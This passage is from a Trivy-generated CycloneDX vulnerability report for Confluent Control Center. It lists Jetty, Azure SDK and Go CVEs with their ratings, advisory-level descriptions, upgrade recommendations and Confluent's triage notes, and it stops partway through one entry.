{ "$schema": "http://cyclonedx.org/schema/bom-1.6.schema.json", "bomFormat": "CycloneDX", "specVersion": "1.6", "serialNumber": "urn:uuid:235c9607-3505-45e6-b389-89c2d3ae8de4", "version": 1, "metadata": { "timestamp": "2026-09-04T01:03:00+00:00", "tools": { "components": [ { "type": "application", "manufacturer": { "name": "Aqua Security Software Ltd." }, "group": "aquasecurity", "name": "trivy", "version": "0.69.3" } ] }, "component": { "bom-ref": "f199e6e4-faf5-4789-a9f4-c5f0b11d1deb", "type": "application", "supplier": { "name": "Confluent" }, "name": "confluent-control-center-next-gen", "version": "2.6.0-1", "properties": [ { "name": "aquasecurity:trivy:SchemaVersion", "value": "2" } ] } }, "components": [], "dependencies": [], "vulnerabilities": [ { "id": "CVE-2026-10050", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "nvd" }, "score": 9.1, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 9.1, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" } ], "cwes": [ 173, 303 ], "description": "In Eclipse Jetty, the Digest authentication server-side component uses ISO-8859-1 to encode the password as bytes.\n\n\n\nThis was done because the initial specification for HTTP did not specify explicitly a charset, and it was assumed to be ISO-8859-1 for historical reasons.\n\n\n\nIf the password contains characters that cannot be represented in ISO-8859-1, they are silently replaced by `?`. This happens with passwords that contain Chinese, Cyrillic or Greek characters, for example: `\u03b1\u03b2123` converts to `??123`.\n\n\n\nAn attacker can send a request with a digest `Authorization` header crafted with a password made of only `?` characters; the server would match any password of the same length that contains non-ISO-8859-1 characters.\n\n\n\nRecent HTTP Digest [RFC-7616](https://datatracker.ietf.org/doc/html/rfc7616) supports a `charset` parameters that defaults to UTF-8 that allows for correct encoding/decoding of passwords.", "recommendation": "Upgrade org.eclipse.jetty:jetty-security to version 9.4.63, 10.0.31, 11.0.31, 12.0.36, 12.1.10", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-10050" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-10050" }, { "url": "https://github.com/jetty/jetty.project" }, { "url": "https://github.com/jetty/jetty.project/commit/4bcdbc7db387ce9e20e2c7571a7250280466221d" }, { "url": "https://github.com/jetty/jetty.project/commit/d0bb829ccecbf19e3ad3d32f2649b2800f01222d" }, { "url": "https://github.com/jetty/jetty.project/issues/15136" }, { "url": "https://github.com/jetty/jetty.project/pull/15160" }, { "url": "https://github.com/jetty/jetty.project/pull/15183" }, { "url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.36" }, { "url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.10" }, { "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-2fvj-hgj9-j2gr" }, { "url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/120" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10050" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-10050" } ], "published": "2026-08-04T11:22:43+00:00", "updated": "2026-08-08T00:38:56+00:00", "affects": [ { "ref": "pkg:maven/org.eclipse.jetty/jetty-security@12.0.35", "versions": [ { "version": "12.0.35", "status": "affected" } ] }, { "ref": "pkg:maven/org.eclipse.jetty/jetty-security@12.0.35", "versions": [ { "version": "12.0.35", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/org.eclipse.jetty/jetty-security@12.0.35" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/org.eclipse.jetty/jetty-security@12.0.35" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-10051", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N" }, { "source": { "name": "redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], "cwes": [ 200 ], "description": "In Eclipse Jetty, a first HTTP/1.1 request with trailers causes the server to retain the trailers in subsequent requests performed over the same connection.\nSubsequent request that do not have trailers report the trailers of the first request.\nSubsequent request that do have trailers report the union of trailers of the first request and the current request.", "recommendation": "Upgrade org.eclipse.jetty:jetty-server to version 12.0.36, 12.1.10", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-10051" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-10051" }, { "url": "https://github.com/jetty/jetty.project" }, { "url": "https://github.com/jetty/jetty.project/commit/72206b3ea623cf7ed8729b47a83ee628ff10e8eb" }, { "url": "https://github.com/jetty/jetty.project/commit/dc27e8d3ab743fe27935ea2d8c41756eb6c5bae9" }, { "url": "https://github.com/jetty/jetty.project/pull/15162" }, { "url": "https://github.com/jetty/jetty.project/pull/15163" }, { "url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.0.36" }, { "url": "https://github.com/jetty/jetty.project/releases/tag/jetty-12.1.10" }, { "url": "https://github.com/jetty/jetty.project/security/advisories/GHSA-f4v5-65jj-pcr2" }, { "url": "https://gitlab.eclipse.org/security/cve-assignment/-/work_items/119" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10051" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-10051" } ], "published": "2026-07-14T09:16:39+00:00", "updated": "2026-07-14T18:41:52+00:00", "affects": [ { "ref": "pkg:maven/org.eclipse.jetty/jetty-server@12.0.35", "versions": [ { "version": "12.0.35", "status": "affected" } ] }, { "ref": "pkg:maven/org.eclipse.jetty/jetty-server@12.0.35", "versions": [ { "version": "12.0.35", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/org.eclipse.jetty/jetty-server@12.0.35" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/org.eclipse.jetty/jetty-server@12.0.35" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-33117", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 9.1, "severity": "critical", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N" } ], "cwes": [ 287, 347 ], "description": "The Java Key Vault Keys library in the Azure SDK for Java contains an issue in the local cryptographic verification path where authentication tag comparison was implemented incorrectly. In affected applications that use the vulnerable local cryptography path, specially crafted encrypted input may bypass integrity verification checks. Operations delegated to the Key Vault service are not affected. The issue is addressed in version 4.10.6.", "recommendation": "Upgrade com.azure:azure-security-keyvault-keys to version 4.10.6", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-33117" }, { "url": "https://github.com/Azure/azure-sdk-for-java" }, { "url": "https://github.com/Azure/azure-sdk-for-java/commit/1b5c5c79d85a5c9a9cfd07f6cdff6fd0f50eccf9" }, { "url": "https://github.com/Azure/azure-sdk-for-java/pull/48476" }, { "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33117" } ], "published": "2026-05-12T18:17:04+00:00", "updated": "2026-06-17T10:36:58+00:00", "affects": [ { "ref": "pkg:maven/com.azure/azure-security-keyvault-keys@4.10.3", "versions": [ { "version": "4.10.3", "status": "affected" } ] }, { "ref": "pkg:maven/com.azure/azure-security-keyvault-keys@4.10.3", "versions": [ { "version": "4.10.3", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.azure/azure-security-keyvault-keys@4.10.3" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.azure/azure-security-keyvault-keys@4.10.3" } ], "analysis": { "state": "not_affected", "justification": "protected_by_mitigating_control", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. the product delegates key operations to the Azure Key Vault service (RSA-OAEP wrap/unwrap for envelope encryption); the vulnerable client-side local crypto path is not exercised, so the security-feature bypass is not reachable." } }, { "id": "CVE-2026-33818", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "bitnami" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 400 ], "description": "Enforce a recursion limit in Unmarshal to prevent stack exhaustion when parsing deeply-nested, recursive structures.", "recommendation": "Upgrade stdlib to version 1.25.13, 1.26.6, 1.27.0-rc.3", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-33818" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60304" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-33818" }, { "url": "https://bugzilla.redhat.com/2515815" }, { "url": "https://bugzilla.redhat.com/2515820" }, { "url": "https://bugzilla.redhat.com/2515827" }, { "url": "https://bugzilla.redhat.com/2515838" }, { "url": "https://bugzilla.redhat.com/2515839" }, { "url": "https://bugzilla.redhat.com/2515840" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515815" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515820" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515827" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515838" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515839" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2515840" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-60304.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:60304" }, { "url": "https://go.dev/cl/814980" }, { "url": "https://go.dev/issue/80405" }, { "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI" }, { "url": "https://linux.oracle.com/cve/CVE-2026-33818.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-62631-0.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33818" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5972" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-33818" } ], "published": "2026-08-13T22:17:19+00:00", "updated": "2026-09-03T16:37:52+00:00", "affects": [ { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.5", "versions": [ { "version": "v1.26.5", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:golang/stdlib@v1.26.5" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-39821", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "critical" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 8.2, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N" }, { "source": { "name": "rocky" }, "severity": "high" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 1289 ], "description": "The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode(\"xn--example-.com\") incorrectly returns the name \"example.com\" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject \"example.com\" but permit \"xn--example-.com\". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name \"example.com\".", "recommendation": "Upgrade stdlib to version 1.25.13, 1.26.6, 1.27.0-rc.3", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39821" }, { "url": "https://access.redhat.com/errata/RHSA-2026:23262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:23264" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26546" }, { "url": "https://access.redhat.com/errata/RHSA-2026:26547" }, { "url": "https://access.redhat.com/errata/RHSA-2026:30650" }, { "url": "https://access.redhat.com/errata/RHSA-2026:30651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:30853" }, { "url": "https://access.redhat.com/errata/RHSA-2026:30854" }, { "url": "https://access.redhat.com/errata/RHSA-2026:30855" }, { "url": "https://access.redhat.com/errata/RHSA-2026:33155" }, { "url": "https://access.redhat.com/errata/RHSA-2026:33160" }, { "url": "https://access.redhat.com/errata/RHSA-2026:33163" }, { "url": "https://access.redhat.com/errata/RHSA-2026:33173" }, { "url": "https://access.redhat.com/errata/RHSA-2026:33183" }, { "url": "https://access.redhat.com/errata/RHSA-2026:33524" }, { "url": "https://access.redhat.com/errata/RHSA-2026:33531" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34342" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34357" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34359" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34364" }, { "url": "https://access.redhat.com/errata/RHSA-2026:34789" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35826" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35827" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35828" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35829" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35830" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35831" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35993" }, { "url": "https://access.redhat.com/errata/RHSA-2026:35994" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36105" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36167" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36207" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36648" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36651" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36797" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36808" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36820" }, { "url": "https://access.redhat.com/errata/RHSA-2026:36883" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37435" }, { "url": "https://access.redhat.com/errata/RHSA-2026:37436" }, { "url": "https://access.redhat.com/errata/RHSA-2026:38995" }, { "url": "https://access.redhat.com/errata/RHSA-2026:39005" }, { "url": "https://access.redhat.com/errata/RHSA-2026:39573" }, { "url": "https://access.redhat.com/errata/RHSA-2026:39879" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40118" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40262" }, { "url": "https://access.redhat.com/errata/RHSA-2026:40945" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41019" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41030" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41031" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41036" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41055" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41066" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41928" }, { "url": "https://access.redhat.com/errata/RHSA-2026:41930" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42043" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42047" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42048" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42049" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42050" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42051" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42078" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42079" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42080" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42082" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42132" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42142" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42146" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42150" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42151" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42240" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42644" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42796" }, { "url": "https://access.redhat.com/errata/RHSA-2026:42852" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43038" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43052" }, { "url": "https://access.redhat.com/errata/RHSA-2026:43692" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44622" }, { "url": "https://access.redhat.com/errata/RHSA-2026:44624" }, { "url": "https://access.redhat.com/errata/RHSA-2026:46395" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47149" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47735" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47737" }, { "url": "https://access.redhat.com/errata/RHSA-2026:47952" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49702" }, { "url": "https://access.redhat.com/errata/RHSA-2026:49712" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50300" }, { "url": "https://access.redhat.com/errata/RHSA-2026:50843" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51033" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51112" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51187" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51194" }, { "url": "https://access.redhat.com/errata/RHSA-2026:51341" }, { "url": "https://access.redhat.com/errata/RHSA-2026:52826" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53374" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53412" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53413" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53415" }, { "url": "https://access.redhat.com/errata/RHSA-2026:53530" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54191" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54274" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54283" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54284" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54285" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54286" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54287" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54395" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54401" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54435" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54441" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54531" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54580" }, { "url": "https://access.redhat.com/errata/RHSA-2026:54757" }, { "url": "https://access.redhat.com/errata/RHSA-2026:56143" }, { "url": "https://access.redhat.com/errata/RHSA-2026:56223" }, { "url": "https://access.redhat.com/errata/RHSA-2026:56340" }, { "url": "https://access.redhat.com/errata/RHSA-2026:56431" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57194" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57541" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57649" }, { "url": "https://access.redhat.com/errata/RHSA-2026:57845" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59546" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59549" }, { "url": "https://access.redhat.com/errata/RHSA-2026:59562" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60315" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60354" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60387" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60520" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61245" }, { "url": "https://access.redhat.com/errata/RHSA-2026:61253" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39821" }, { "url": "https://bugzilla.redhat.com/2480756" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2480756" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2498152" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39822" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-37435.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:37435" }, { "url": "https://github.com/golang/go/issues/78760" }, { "url": "https://go.dev/cl/767220" }, { "url": "https://go.dev/issue/78760" }, { "url": "https://groups.google.com/g/golang-announce/c/94pEornpRlI" }, { "url": "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8" }, { "url": "https://linux.oracle.com/cve/CVE-2026-39821.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-46395.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39821" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5026" }, { "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39821.json" }, { "url": "https://ubuntu.com/security/notices/USN-8416-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39821" } ], "published": "2026-05-22T16:16:20+00:00", "updated": "2026-08-31T13:18:06+00:00", "affects": [ { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.5", "versions": [ { "version": "v1.26.5", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:golang/stdlib@v1.26.5" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "in_triage", "justification": "", "response": [], "detail": "This CVE is under investigation by Confluent." } }, { "id": "CVE-2026-39822", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "bitnami" }, "score": 7.8, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "photon" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.8, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 61 ], "description": "On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /. For example, 'root.Open(\"symlink/\")' will open \"symlink\" even when \"symlink\" is a symbolic link pointing outside of the root.", "recommendation": "Upgrade stdlib to version 1.25.12, 1.26.5, 1.27.0-rc.2", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-39822" }, { "url": "https://access.redhat.com/errata/RHSA-2026:38878" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-39822" }, { "url": "https://bugzilla.redhat.com/2498152" }, { "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2498152" }, { "url": "https://creativecommons.org/licenses/by/4.0/" }, { "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39822" }, { "url": "https://errata.almalinux.org/9/ALSA-2026-38878.html" }, { "url": "https://errata.rockylinux.org/RLSA-2026:38878" }, { "url": "https://go.dev/cl/797880" }, { "url": "https://go.dev/issue/79005" }, { "url": "https://groups.google.com/g/golang-announce/c/OrmQE_Yp5Sc" }, { "url": "https://linux.oracle.com/cve/CVE-2026-39822.html" }, { "url": "https://linux.oracle.com/errata/ELSA-2026-38995.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39822" }, { "url": "https://pkg.go.dev/vuln/GO-2026-4970" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-39822" } ], "published": "2026-07-08T17:17:21+00:00", "updated": "2026-07-13T14:54:26+00:00", "affects": [ { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "pkg:golang/stdlib@v1.26.4", "versions": [ { "version": "v1.26.4", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/stdlib@v1.26.4" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/stdlib@v1.26.4" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. the Go stdlib flaw is carried by a bundled Go binary (the Confluent CLI / tooling) in the image, not the product's Java runtime, and it is not invoked with attacker-controlled input as part of the product, so the vulnerable code path is not reachable in the product." } }, { "id": "CVE-2026-39827", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "medium" }, { "source": { "name": "azure" }, "severity": "medium" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 924 ], "description": "An authenticated SSH client that repeatedly opened channels which were rejected by the server caused unbounded memory growth, eventually crashing the server process and affecting all connected users. Rejected channels are now properly removed from the connection's internal state and released for garbage collection.", "recommendation": "Upgrade golang.org/x/crypto to version 0.52.0", "advisories": [ { "url": 